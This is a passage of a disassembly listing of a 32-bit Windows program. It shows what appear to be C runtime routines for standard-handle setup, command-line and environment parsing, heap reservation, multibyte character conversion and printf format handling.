		mov	edx, dword_413988
		lea	ebx, [edx+eax]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	loc_4094D6
		mov	byte ptr [ebx+4], 81h
		test	edi, edi
		jnz	short loc_40943D
		mov	[ebp+var_5C], 0FFFFFFF6h
		jmp	short loc_40944E
; ---------------------------------------------------------------------------


loc_40943D:				; CODE XREF: sub_4092A0+192j
		cmp	edi, 1
		setz	al
		and	eax, 1
		add	eax, 0FFFFFFF4h
		mov	[ebp+var_5C], eax


loc_40944E:				; CODE XREF: sub_4092A0+19Bj
		mov	eax, [ebp+var_5C]
		push	eax
		call	dword_411CD4	; GetStdHandle
		mov	[ebp+var_C], eax
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4094D0
		mov	eax, [ebp+var_C]
		push	eax
		call	dword_411DEC	; GetFileType
		mov	[ebp+var_14], eax
		test	eax, eax
		jz	short loc_4094D0
		call	dword_411D64	; GetCurrentProcess
		mov	[ebp+var_64], eax
		call	dword_411D64	; GetCurrentProcess
		push	2
		push	1
		push	0
		lea	edx, [ebp+var_60]
		push	edx
		push	eax
		mov	eax, [ebp+var_C]
		push	eax
		mov	eax, [ebp+var_64]
		push	eax
		call	dword_411DF0	; DuplicateHandle
		test	eax, eax
		jz	short loc_4094A5
		mov	eax, [ebp+var_60]
		mov	[ebp+var_C], eax


loc_4094A5:				; CODE XREF: sub_4092A0+1FDj
		mov	eax, [ebp+var_C]
		mov	[ebx], eax
		mov	eax, [ebp+var_14]
		and	eax, 0FFh
		cmp	eax, 2
		jnz	short loc_4094BD
		or	byte ptr [ebx+4], 40h
		jmp	short loc_4094DA
; ---------------------------------------------------------------------------


loc_4094BD:				; CODE XREF: sub_4092A0+215j
		mov	eax, [ebp+var_14]
		and	eax, 0FFh
		cmp	eax, 3
		jnz	short loc_4094DA
		or	byte ptr [ebx+4], 8
		jmp	short loc_4094DA
; ---------------------------------------------------------------------------


loc_4094D0:				; CODE XREF: sub_4092A0+1C0j
					; sub_4092A0+1D1j
		or	byte ptr [ebx+4], 40h
		jmp	short loc_4094DA
; ---------------------------------------------------------------------------


loc_4094D6:				; CODE XREF: sub_4092A0+186j
		or	byte ptr [ebx+4], 80h


loc_4094DA:				; CODE XREF: sub_4092A0+21Bj
					; sub_4092A0+228j ...
		inc	edi
		cmp	edi, 3
		jl	loc_409414
		mov	eax, dword_413A88
		push	eax
		call	dword_411DF4	; LockResource
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4092A0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebx
		push	esi
		xor	ebx, ebx


loc_409504:				; CODE XREF: DMN0:00409557j
		cmp	dword_413988[ebx*4], 0
		jz	short loc_409553
		mov	esi, dword_413988[ebx*4]
		jmp	short loc_40952A
; ---------------------------------------------------------------------------


loc_409517:				; CODE XREF: DMN0:00409538j
		cmp	dword ptr [esi+8], 0
		jz	short loc_409527
		lea	eax, [esi+0Ch]
		push	eax
		call	dword_411DCC	; RtlDeleteCriticalSection


loc_409527:				; CODE XREF: DMN0:0040951Bj
		add	esi, 24h


loc_40952A:				; CODE XREF: DMN0:00409515j
		mov	eax, dword_413988[ebx*4]
		add	eax, 480h
		cmp	esi, eax
		jb	short loc_409517
		mov	eax, dword_413988[ebx*4]
		push	eax
		call	sub_4070F0
		pop	ecx
		mov	dword_413988[ebx*4], 0


loc_409553:				; CODE XREF: DMN0:0040950Cj
		inc	ebx
		cmp	ebx, 40h
		jl	short loc_409504
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409560	proc near		; CODE XREF: sub_409710+3Fp
					; sub_409710+76p

var_9		= byte ptr -9
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	edi
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+arg_10]
		mov	dword ptr [edx], 0
		mov	edx, [ebp+arg_C]
		mov	dword ptr [edx], 1
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+arg_4], 0
		jz	short loc_409591
		mov	eax, [ebp+arg_4]
		lea	edx, [eax+4]
		mov	[ebp+arg_4], edx
		mov	[eax], ecx


loc_409591:				; CODE XREF: sub_409560+24j
		cmp	byte ptr [ebx],	22h
		jnz	short loc_4095CC
		jmp	short loc_4095A8
; ---------------------------------------------------------------------------


loc_409598:				; CODE XREF: sub_409560+53j
		test	ecx, ecx
		jz	short loc_4095A3
		mov	eax, ecx
		inc	ecx
		mov	dl, [ebx]
		mov	[eax], dl


loc_4095A3:				; CODE XREF: sub_409560+3Aj
		mov	eax, [ebp+arg_10]
		inc	dword ptr [eax]


loc_4095A8:				; CODE XREF: sub_409560+36j
		inc	ebx
		mov	eax, ebx
		cmp	byte ptr [eax],	22h
		jz	short loc_4095B5
		cmp	byte ptr [ebx],	0
		jnz	short loc_409598


loc_4095B5:				; CODE XREF: sub_409560+4Ej
		test	ecx, ecx
		jz	short loc_4095BF
		mov	eax, ecx
		inc	ecx
		mov	byte ptr [eax],	0


loc_4095BF:				; CODE XREF: sub_409560+57j
		mov	eax, [ebp+arg_10]
		inc	dword ptr [eax]
		cmp	byte ptr [ebx],	22h
		jnz	short loc_409604
		inc	ebx
		jmp	short loc_409604
; ---------------------------------------------------------------------------


loc_4095CC:				; CODE XREF: sub_409560+34j
					; sub_409560+91j
		test	ecx, ecx
		jz	short loc_4095D7
		mov	eax, ecx
		inc	ecx
		mov	dl, [ebx]
		mov	[eax], dl


loc_4095D7:				; CODE XREF: sub_409560+6Ej
		mov	eax, [ebp+arg_10]
		inc	dword ptr [eax]
		mov	eax, ebx
		inc	ebx
		mov	al, [eax]
		mov	[ebp+var_9], al
		mov	al, [ebp+var_9]
		cmp	al, 20h
		jz	short loc_4095F3
		test	al, al
		jz	short loc_4095F3
		cmp	al, 9
		jnz	short loc_4095CC


loc_4095F3:				; CODE XREF: sub_409560+89j
					; sub_409560+8Dj
		cmp	[ebp+var_9], 0
		jnz	short loc_4095FC
		dec	ebx
		jmp	short loc_409604
; ---------------------------------------------------------------------------


loc_4095FC:				; CODE XREF: sub_409560+97j
		test	ecx, ecx
		jz	short loc_409604
		mov	byte ptr [ecx-1], 0


loc_409604:				; CODE XREF: sub_409560+67j
					; sub_409560+6Aj ...
		mov	[ebp+var_8], 0


loc_40960B:				; CODE XREF: sub_409560+181j
		cmp	byte ptr [ebx],	0
		jz	short loc_40961D
		jmp	short loc_409613
; ---------------------------------------------------------------------------


loc_409612:				; CODE XREF: sub_409560+B7j
					; sub_409560+BBj
		inc	ebx


loc_409613:				; CODE XREF: sub_409560+B0j
		mov	al, [ebx]
		cmp	al, 20h
		jz	short loc_409612
		cmp	al, 9
		jz	short loc_409612


loc_40961D:				; CODE XREF: sub_409560+AEj
		cmp	byte ptr [ebx],	0
		jz	loc_4096E6
		cmp	[ebp+arg_4], 0
		jz	short loc_409637
		mov	eax, [ebp+arg_4]
		lea	edx, [eax+4]
		mov	[ebp+arg_4], edx
		mov	[eax], ecx


loc_409637:				; CODE XREF: sub_409560+CAj
		mov	eax, [ebp+arg_C]
		inc	dword ptr [eax]


loc_40963C:				; CODE XREF: sub_409560+16Dj
		mov	[ebp+var_4], 1
		xor	edi, edi
		jmp	short loc_409649
; ---------------------------------------------------------------------------


loc_409647:				; CODE XREF: sub_409560+ECj
		inc	ebx
		inc	edi


loc_409649:				; CODE XREF: sub_409560+E5j
		cmp	byte ptr [ebx],	5Ch
		jz	short loc_409647
		cmp	byte ptr [ebx],	22h
		jnz	short loc_409699
		test	edi, 1
		jnz	short loc_409686
		cmp	[ebp+var_8], 0
		jz	short loc_409673
		cmp	byte ptr [ebx+1], 22h
		jnz	short loc_40966A
		inc	ebx
		jmp	short loc_40967A
; ---------------------------------------------------------------------------


loc_40966A:				; CODE XREF: sub_409560+105j
		mov	[ebp+var_4], 0
		jmp	short loc_40967A
; ---------------------------------------------------------------------------


loc_409673:				; CODE XREF: sub_409560+FFj
		mov	[ebp+var_4], 0


loc_40967A:				; CODE XREF: sub_409560+108j
					; sub_409560+111j
		xor	eax, eax
		cmp	[ebp+var_8], 0
		setz	al
		mov	[ebp+var_8], eax


loc_409686:				; CODE XREF: sub_409560+F9j
		shr	edi, 1
		jmp	short loc_409699
; ---------------------------------------------------------------------------


loc_40968A:				; CODE XREF: sub_409560+13Ej
		test	ecx, ecx
		jz	short loc_409694
		mov	eax, ecx
		inc	ecx
		mov	byte ptr [eax],	5Ch


loc_409694:				; CODE XREF: sub_409560+12Cj
		mov	eax, [ebp+arg_10]
		inc	dword ptr [eax]


loc_409699:				; CODE XREF: sub_409560+F1j
					; sub_409560+128j
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_40968A
		mov	al, [ebx]
		test	al, al
		jz	short loc_4096B4
		cmp	[ebp+var_8], 0
		jnz	short loc_4096B6
		cmp	al, 20h
		jz	short loc_4096B4
		cmp	al, 9
		jnz	short loc_4096B6


loc_4096B4:				; CODE XREF: sub_409560+144j
					; sub_409560+14Ej
		jmp	short loc_4096D2
; ---------------------------------------------------------------------------


loc_4096B6:				; CODE XREF: sub_409560+14Aj
					; sub_409560+152j
		cmp	[ebp+var_4], 0
		jz	short loc_4096CC
		test	ecx, ecx
		jz	short loc_4096C7
		mov	eax, ecx
		inc	ecx
		mov	dl, [ebx]
		mov	[eax], dl


loc_4096C7:				; CODE XREF: sub_409560+15Ej
		mov	eax, [ebp+arg_10]
		inc	dword ptr [eax]


loc_4096CC:				; CODE XREF: sub_409560+15Aj
		inc	ebx
		jmp	loc_40963C
; ---------------------------------------------------------------------------


loc_4096D2:				; CODE XREF: sub_409560:loc_4096B4j
		test	ecx, ecx
		jz	short loc_4096DC
		mov	eax, ecx
		inc	ecx
		mov	byte ptr [eax],	0


loc_4096DC:				; CODE XREF: sub_409560+174j
		mov	eax, [ebp+arg_10]
		inc	dword ptr [eax]
		jmp	loc_40960B
; ---------------------------------------------------------------------------


loc_4096E6:				; CODE XREF: sub_409560+C0j
		cmp	[ebp+arg_4], 0
		jz	short loc_4096FB
		mov	eax, [ebp+arg_4]
		lea	edx, [eax+4]
		mov	[ebp+arg_4], edx
		mov	dword ptr [eax], 0


loc_4096FB:				; CODE XREF: sub_409560+18Aj
		mov	eax, [ebp+arg_C]
		inc	dword ptr [eax]
		pop	edi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_409560	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409710	proc near		; CODE XREF: sub_407AA0+69p

var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	ebx
		push	esi
		call	dword_411D90	; GetCommandLineA
		mov	esi, eax
		cmp	byte ptr [esi],	0
		jnz	short loc_409742
		push	104h
		lea	eax, [ebp+var_10C]
		push	eax
		push	0
		call	dword_411CDC	; GetModuleFileNameA
		lea	esi, [ebp+var_10C]


loc_409742:				; CODE XREF: sub_409710+16j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		push	0
		push	esi
		call	sub_409560
		add	esp, 14h
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+var_8]
		lea	eax, [edx+eax*4]
		push	eax
		call	sub_4081A0
		pop	ecx
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_409775
		push	1
		call	sub_409190
		pop	ecx


loc_409775:				; CODE XREF: sub_409710+5Bj
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_4]
		lea	eax, [ebx+eax*4]
		push	eax
		push	ebx
		push	esi
		call	sub_409560
		add	esp, 14h
		mov	eax, [ebp+var_4]
		dec	eax
		mov	dword_4117C4, eax
		mov	dword_4117C8, ebx
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_409710	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4097B0	proc near		; CODE XREF: sub_407AA0+6Ep

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		call	dword_411DF8	; GetEnvironmentStrings
		mov	[ebp+var_8], eax
		test	eax, eax
		jnz	short loc_4097CE
		mov	eax, off_411894
		mov	[ebp+var_8], eax


loc_4097CE:				; CODE XREF: sub_4097B0+14j
		mov	[ebp+var_4], 0
		mov	ebx, [ebp+var_8]
		jmp	short loc_4097F3
; ---------------------------------------------------------------------------


loc_4097DA:				; CODE XREF: sub_4097B0+46j
		mov	edx, ebx
		or	eax, 0FFFFFFFFh


loc_4097DF:				; CODE XREF: sub_4097B0+34j
		inc	eax
		cmp	byte ptr [edx+eax], 0
		jnz	short loc_4097DF
		lea	esi, [eax+1]
		cmp	byte ptr [ebx],	3Dh
		jz	short loc_4097F1
		add	[ebp+var_4], esi


loc_4097F1:				; CODE XREF: sub_4097B0+3Cj
		add	ebx, esi


loc_4097F3:				; CODE XREF: sub_4097B0+28j
		cmp	byte ptr [ebx],	0
		jnz	short loc_4097DA
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_4081A0
		pop	ecx
		mov	edi, eax
		mov	dword_4117D0, eax
		cmp	dword_4117D0, 0
		jnz	short loc_40981B
		push	1
		call	sub_409190
		pop	ecx


loc_40981B:				; CODE XREF: sub_4097B0+61j
		mov	ebx, [ebp+var_8]
		jmp	short loc_40984A
; ---------------------------------------------------------------------------


loc_409820:				; CODE XREF: sub_4097B0+9Dj
		mov	edx, ebx
		or	eax, 0FFFFFFFFh


loc_409825:				; CODE XREF: sub_4097B0+7Aj
		inc	eax
		cmp	byte ptr [edx+eax], 0
		jnz	short loc_409825
		lea	esi, [eax+1]
		cmp	byte ptr [ebx],	3Dh
		jz	short loc_409848
		mov	ecx, edi
		mov	edx, ebx
		push	ecx
		sub	ecx, edx


loc_40983B:				; CODE XREF: sub_4097B0+93j
		mov	al, [edx]
		mov	[ecx+edx], al
		inc	edx
		test	al, al
		jnz	short loc_40983B
		pop	eax
		add	edi, esi


loc_409848:				; CODE XREF: sub_4097B0+82j
		add	ebx, esi


loc_40984A:				; CODE XREF: sub_4097B0+6Ej
		cmp	byte ptr [ebx],	0
		jnz	short loc_409820
		mov	byte ptr [edi],	0
		mov	eax, off_411894
		cmp	eax, [ebp+var_8]
		jz	short loc_409866
		mov	eax, [ebp+var_8]
		push	eax
		call	dword_411DFC	; FreeEnvironmentStringsA


loc_409866:				; CODE XREF: sub_4097B0+AAj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4097B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409870	proc near		; CODE XREF: sub_407AA0+A3p
		push	ebx
		call	dword_411D90	; GetCommandLineA
		mov	ebx, eax
		cmp	byte ptr [ebx],	22h
		jnz	short loc_409894


loc_40987E:				; CODE XREF: sub_409870+19j
		inc	ebx
		mov	eax, ebx
		cmp	byte ptr [eax],	22h
		jz	short loc_40988B
		cmp	byte ptr [ebx],	0
		jnz	short loc_40987E


loc_40988B:				; CODE XREF: sub_409870+14j
		cmp	byte ptr [ebx],	22h
		jnz	short loc_40989C
		inc	ebx
		jmp	short loc_40989C
; ---------------------------------------------------------------------------


loc_409893:				; CODE XREF: sub_409870+27j
		inc	ebx


loc_409894:				; CODE XREF: sub_409870+Cj
		cmp	byte ptr [ebx],	20h
		ja	short loc_409893
		jmp	short loc_40989C
; ---------------------------------------------------------------------------


loc_40989B:				; CODE XREF: sub_409870+34j
		inc	ebx


loc_40989C:				; CODE XREF: sub_409870+1Ej
					; sub_409870+21j ...
		mov	al, [ebx]
		test	al, al
		jz	short loc_4098A6
		cmp	al, 20h
		jbe	short loc_40989B


loc_4098A6:				; CODE XREF: sub_409870+30j
		mov	eax, ebx
		pop	ebx
		retn
sub_409870	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4098B0	proc near		; CODE XREF: sub_407BD0+21p

var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		cmp	dword_4117D8, 0
		jnz	short loc_4098E3
		push	1
		push	2000h
		mov	eax, dword_4117DC
		push	eax
		push	0
		call	dword_411E00	; VirtualAlloc
		mov	dword_4117D8, eax
		test	eax, eax
		jz	short loc_409946


loc_4098E3:				; CODE XREF: sub_4098B0+13j
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	eax
		mov	eax, dword_4117D8
		push	eax
		call	dword_411E04	; VirtualQuery
		test	eax, eax
		jz	short loc_409946
		cmp	[ebp+var_C], 1000h
		jnz	short loc_409910
		mov	eax, [ebp+var_10]
		mov	edx, dword_4117D8
		lea	edi, [edx+eax]
		jmp	short loc_409916
; ---------------------------------------------------------------------------


loc_409910:				; CODE XREF: sub_4098B0+50j
		mov	edi, dword_4117D8


loc_409916:				; CODE XREF: sub_4098B0+5Ej
		mov	esi, edi
		lea	eax, [esi+ebx]
		mov	edx, dword_4117DC
		mov	ecx, dword_4117D8
		add	edx, ecx
		cmp	eax, edx
		jb	short loc_409931
		xor	eax, eax
		jmp	short loc_409946
; ---------------------------------------------------------------------------


loc_409931:				; CODE XREF: sub_4098B0+7Bj
		push	4
		push	1000h
		push	ebx
		push	esi
		call	dword_411E00	; VirtualAlloc
		test	eax, eax
		jz	short loc_409946
		mov	eax, esi


loc_409946:				; CODE XREF: sub_4098B0+31j
					; sub_4098B0+47j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4098B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409950	proc near		; CODE XREF: sub_4087E0+44p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_3		= byte ptr -3
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		mov	eax, [ebp+arg_C]
		movzx	eax, word ptr [eax+6]
		mov	[ebp+var_3], al
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_C]
		mov	eax, [eax]
		mov	[ebp+var_2], ax
		cmp	off_411924, 0
		jnz	loc_409ACB
		cmp	[ebp+arg_4], 0
		jnz	short loc_40999E
		mov	eax, [ebp+arg_C]
		mov	ecx, dword_40FB38
		mov	ebx, dword_40FB3C
		mov	[eax], ecx
		mov	[eax+4], ebx
		xor	eax, eax
		jmp	loc_409C2A
; ---------------------------------------------------------------------------


loc_40999E:				; CODE XREF: sub_409950+31j
					; sub_409950+176j
		cmp	[ebp+arg_8], 0
		jnz	short loc_4099C2
		mov	edx, [ebp+arg_C]
		movzx	eax, [ebp+var_2]
		mov	[edx], eax
		mov	edx, [ebp+arg_C]
		movzx	eax, [ebp+var_3]
		mov	[edx+6], ax
		mov	eax, 0FFFFFFFEh
		jmp	loc_409C2A
; ---------------------------------------------------------------------------


loc_4099C2:				; CODE XREF: sub_409950+52j
		cmp	[ebp+var_3], 0
		jbe	short loc_409A09
		mov	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		and	eax, 0C0h
		cmp	eax, 80h
		jz	short loc_4099ED
		call	sub_4083A0
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	loc_409C2A
; ---------------------------------------------------------------------------


loc_4099ED:				; CODE XREF: sub_409950+88j
		movzx	eax, [ebp+var_2]
		shl	eax, 6
		mov	edx, [ebp+var_8]
		movzx	edx, byte ptr [edx]
		and	edx, 3Fh
		or	eax, edx
		mov	[ebp+var_2], ax
		sub	[ebp+var_3], 1
		jmp	short loc_409A7A
; ---------------------------------------------------------------------------


loc_409A09:				; CODE XREF: sub_409950+76j
		mov	eax, [ebp+var_8]
		test	byte ptr [eax],	80h
		jnz	short loc_409A1D
		mov	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		mov	[ebp+var_2], ax
		jmp	short loc_409A7A
; ---------------------------------------------------------------------------


loc_409A1D:				; CODE XREF: sub_409950+BFj
		mov	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		and	eax, 0E0h
		cmp	eax, 0C0h
		jnz	short loc_409A42
		mov	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		and	eax, 1Fh
		mov	[ebp+var_2], ax
		mov	[ebp+var_3], 1
		jmp	short loc_409A7A
; ---------------------------------------------------------------------------


loc_409A42:				; CODE XREF: sub_409950+DDj
		mov	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		and	eax, 0F0h
		cmp	eax, 0E0h
		jnz	short loc_409A67
		mov	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		and	eax, 0Fh
		mov	[ebp+var_2], ax
		mov	[ebp+var_3], 2
		jmp	short loc_409A7A
; ---------------------------------------------------------------------------


loc_409A67:				; CODE XREF: sub_409950+102j
		call	sub_4083A0
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	loc_409C2A
; ---------------------------------------------------------------------------


loc_409A7A:				; CODE XREF: sub_409950+B7j
					; sub_409950+CBj ...
		cmp	[ebp+var_3], 0
		jnz	short loc_409AC0
		cmp	[ebp+arg_0], 0
		jz	short loc_409A90
		mov	edx, [ebp+arg_0]
		mov	ax, [ebp+var_2]
		mov	[edx], ax


loc_409A90:				; CODE XREF: sub_409950+134j
		mov	edx, [ebp+arg_C]
		mov	word ptr [edx+6], 0
		cmp	[ebp+var_2], 0
		jnz	short loc_409AA9
		mov	[ebp+var_C], 0
		jmp	short loc_409AB8
; ---------------------------------------------------------------------------


loc_409AA9:				; CODE XREF: sub_409950+14Ej
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	edx, [ebp+arg_4]
		sub	eax, edx
		mov	[ebp+var_C], eax


loc_409AB8:				; CODE XREF: sub_409950+157j
		mov	eax, [ebp+var_C]
		jmp	loc_409C2A
; ---------------------------------------------------------------------------


loc_409AC0:				; CODE XREF: sub_409950+12Ej
		inc	[ebp+var_8]
		dec	[ebp+arg_8]
		jmp	loc_40999E
; ---------------------------------------------------------------------------


loc_409ACB:				; CODE XREF: sub_409950+27j
		mov	[ebp+var_C], 0
		cmp	[ebp+arg_4], 0
		jnz	short loc_409AFE
		mov	eax, [ebp+arg_C]
		mov	ecx, dword_40FB38
		mov	ebx, dword_40FB3C
		mov	[eax], ecx
		mov	[eax+4], ebx
		mov	eax, off_411924
		movzx	eax, word ptr [eax]
		and	eax, 0F00h
		jmp	loc_409C2A
; ---------------------------------------------------------------------------


loc_409AFE:				; CODE XREF: sub_409950+186j
					; sub_409950+292j
		cmp	[ebp+arg_8], 0
		jnz	short loc_409B22
		mov	edx, [ebp+arg_C]
		movzx	eax, [ebp+var_2]
		mov	[edx], eax
		mov	edx, [ebp+arg_C]
		movzx	eax, [ebp+var_3]
		mov	[edx+6], ax
		mov	eax, 0FFFFFFFEh
		jmp	loc_409C2A
; ---------------------------------------------------------------------------


loc_409B22:				; CODE XREF: sub_409950+1B2j
		mov	al, [ebp+var_3]
		cmp	al, 10h
		jnb	short loc_409B5E
		movzx	eax, al
		mov	eax, off_411924[eax*4]
		mov	[ebp+var_14], eax
		test	eax, eax
		jz	short loc_409B5E
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		cmp	eax, 0FF0h
		jge	short loc_409B5E
		mov	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		mov	edx, [ebp+var_14]
		mov	ax, [edx+eax*2]
		mov	[ebp+var_E], ax
		test	ax, ax
		jnz	short loc_409B71


loc_409B5E:				; CODE XREF: sub_409950+1D7j
					; sub_409950+1E8j ...
		call	sub_4083A0
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	loc_409C2A
; ---------------------------------------------------------------------------


loc_409B71:				; CODE XREF: sub_409950+20Cj
		movzx	eax, [ebp+var_E]
		mov	edx, eax
		and	edx, 0F00h
		sar	edx, 8
		mov	[ebp+var_3], dl
		test	eax, 8000h
		jz	short loc_409B9D
		movzx	eax, [ebp+var_2]
		and	eax, 0FFFFFF00h
		movzx	edx, byte ptr [ebp+var_E]
		or	eax, edx
		mov	[ebp+var_2], ax


loc_409B9D:				; CODE XREF: sub_409950+238j
		test	[ebp+var_E], 1000h
		jz	short loc_409BBF
		movzx	eax, [ebp+var_2]
		mov	edx, eax
		shl	edx, 8
		sar	eax, 8
		and	eax, 0FFh
		or	edx, eax
		mov	ax, dx
		mov	[ebp+var_2], ax


loc_409BBF:				; CODE XREF: sub_409950+253j
		test	[ebp+var_E], 4000h
		jz	short loc_409BDC
		mov	eax, [ebp+var_8]
		cmp	byte ptr [eax],	0
		jz	short loc_409BDC
		inc	[ebp+var_8]
		dec	[ebp+arg_8]
		mov	[ebp+var_C], 0


loc_409BDC:				; CODE XREF: sub_409950+275j
					; sub_409950+27Dj
		test	[ebp+var_E], 2000h
		jz	loc_409AFE
		cmp	[ebp+arg_0], 0
		jz	short loc_409BF8
		mov	edx, [ebp+arg_0]
		mov	ax, [ebp+var_2]
		mov	[edx], ax


loc_409BF8:				; CODE XREF: sub_409950+29Cj
		mov	edx, [ebp+arg_C]
		movzx	eax, [ebp+var_2]
		mov	[edx], eax
		mov	edx, [ebp+arg_C]
		movzx	eax, [ebp+var_3]
		mov	[edx+6], ax
		cmp	[ebp+var_2], 0
		jnz	short loc_409C1C
		mov	[ebp+var_18], 0
		jmp	short loc_409C27
; ---------------------------------------------------------------------------


loc_409C1C:				; CODE XREF: sub_409950+2C1j
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+arg_4]
		sub	eax, edx
		mov	[ebp+var_18], eax


loc_409C27:				; CODE XREF: sub_409950+2CAj
		mov	eax, [ebp+var_18]


loc_409C2A:				; CODE XREF: sub_409950+49j
					; sub_409950+6Dj ...
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_409950	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C30	proc near		; CODE XREF: sub_4087E0+243p

var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= qword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		push	ebx
		movzx	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		cmp	eax, 41h
		jl	short loc_409C4F
		cmp	eax, 47h
		jg	short loc_409C5E
		jmp	dword_40FC40[eax*4]
; ---------------------------------------------------------------------------


loc_409C4F:				; CODE XREF: sub_409C30+11j
		cmp	[ebp+var_4], 25h
		jz	loc_40A322
		jmp	loc_40A337
; ---------------------------------------------------------------------------


loc_409C5E:				; CODE XREF: sub_409C30+16j
		mov	eax, [ebp+var_4]
		cmp	eax, 58h
		jz	loc_409E93
		jl	loc_40A337
		mov	eax, [ebp+var_4]
		cmp	eax, 61h
		jl	loc_40A337
		cmp	eax, 78h
		jg	loc_40A337
		jmp	dword_40FBDC[eax*4]
; ---------------------------------------------------------------------------


loc_409C8C:				; DATA XREF: DMN0:0040FD68o
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+3Ah], 6Ch
		jz	short loc_409CB9
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		add	ecx, 4
		mov	[eax], ecx
		mov	eax, [ebp+arg_C]
		mov	ecx, [ecx-4]
		mov	[eax+edx], cl
		jmp	loc_40A362
; ---------------------------------------------------------------------------


loc_409CB9:				; CODE XREF: sub_409C30+63j
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	eax, [edx-4]
		mov	[ebp+var_6], ax
		mov	[ebp+var_A], ax
		mov	[ebp+var_8], 0
		mov	edx, [ebp+arg_0]
		or	dword ptr [edx+2Ch], 0FFFFFFFFh
		lea	eax, [ebp+var_A]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_40AEB0
		add	esp, 8
		test	eax, eax
		jge	loc_40A362
		or	eax, 0FFFFFFFFh
		jmp	loc_40A364
; ---------------------------------------------------------------------------


loc_409CFB:				; DATA XREF: DMN0:0040FD6Co
					; DMN0:0040FD80o
		mov	eax, [ebp+arg_0]
